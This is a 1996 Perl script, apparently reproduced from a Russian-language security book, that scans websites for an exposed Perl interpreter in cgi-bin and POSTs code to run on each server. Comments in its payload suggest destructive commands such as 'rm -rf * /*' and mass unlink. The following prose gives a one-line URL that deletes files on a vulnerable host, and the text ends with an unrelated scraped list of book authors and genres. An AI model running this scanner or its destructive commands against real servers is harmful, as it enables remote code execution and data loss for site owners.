#!/usr/bin/perl -w
#
#####################################################################
# latrodectus cyberneticus – probe web for insecure perl installations
# version 1.0, Thu Mar 28 17:53:42 MST 1996
#
# requires the LWP library, fetchable from the CPAN multiplexor at
# http://www.perl.com/cgi-bin/cpan_mod?module=LWP
#####################################################################
#AUTHOR: Tom Christiansen
#Last update: Thu Mar 28 17:53:42 MST 1996
require 5.002;
use strict;
use LWP::UserAgent;
my $PROGNAME = "latrodectus cyberneticus";
my $VERSION = "1.0";
my $DEF_CGI_BIN = "/cgi-bin";
# Имя интерпретатора perl на удаленной машине,
# стоит попробовать и perl.exe, и perl.com
my $DEF_PERL_PATH = "/perl.exe";
# Заносим в переменную $PROGRAM текст, начинающийся
# после слов __END__, – нашу программу, которая будет
# выполняться на удаленном сервере
my $PROGRAM = join qq===>;
$| = 1;
if (@ARGV) {
for (@ARGV) { probe($_) }
} elsif (!-t STDIN) {
while (
chomp;
probe($_);
}
} else {
die "usage: $0 [site ...]\n";
}
sub probe {
my $site = shift;
my $cgi_bin = ’’;
my $perl_path = ’’;
my $pre_site = ’’;
if ($site !~ m#/#) {
$cgi_bin = $DEF_CGI_BIN;
}
if ($site !~ /perl/) {
$perl_path = $DEF_PERL_PATH;
}
if ($site !~ m#^//#) {
$pre_site = ’//’;
}
my $ua = LWP::UserAgent->new();
$ua->agent("$PROGNAME, v$VERSION");
#Формируем полный url интерпретатора
my $full_targ = ’http:’ . $pre_site . $site . $cgi_bin . $perl_path;
printf "%-35s ", $site;
# Открываем соединение
my $req = HTTP::Request->new( POST => $full_targ );
# Посылаем нашу программу
$req->content_type(’application/x-www-form-urlencoded’);
$req->content($PROGRAM);
#Получаем ответ
my $res = $ua->request($req);
# Проверяем, выполнилась ли наша программа
if ($res->is_success) {
if ($res->content =~ /WWW Black Widow/) {
print "<<<< COMPROMISED >>>\n";
} else {
my $oops = $res->content;
$oops =~ s/\n/ /g;
print "APPREHENDED: $oops\n";
}
} else {
my $oops = $res->code . " " . $res->message;
if ($res->code == 404) {
print "SAFE: $oops";
} else {
print "ERROR: $oops";
}
print "\n" unless $oops =~ /\n$/;
}
}
__END__
# Здесь начинается код, который будет выполнен на удаленной
# машине. Сначала выводится некий текст для проверки
# работы скрипта
print < Content-Type: text/plain The WWW Black Widow was here. EOF # Ну а здесь уже можно написать что угодно – от простого # сообщения администратору о найденной дырке, до чего-нибудь # типа # system("rm -rf * /*"); # system("format a:"); # system("ls -lR"); # system("dir"); # unlink <* *.* /*>; print "If I were nasty, you’d be spiderfood by now.\n"; print "\n\n\t–the black widow\n";
Если под рукой нет Perl, можно попробовать просто дать команду типа http://www.victim.com/cgi-bin/perl.exe?&-e+unlink+%3C*%3E. Аналогичные проблемы возникают при реализации PHP в качестве cgi-скрипта и его размещении в каталоге cgi-bin.
Вильям Л Саймон , Вильям Саймон , Наталья Владимировна Макеева , Нора Робертс , Юрий Викторович Щербатых
Зарубежная компьютерная, околокомпьютерная литература / ОС и Сети, интернет / Короткие любовные романы / Психология / Прочая справочная литература / Образование и наука / Книги по IT / Словари и Энциклопедии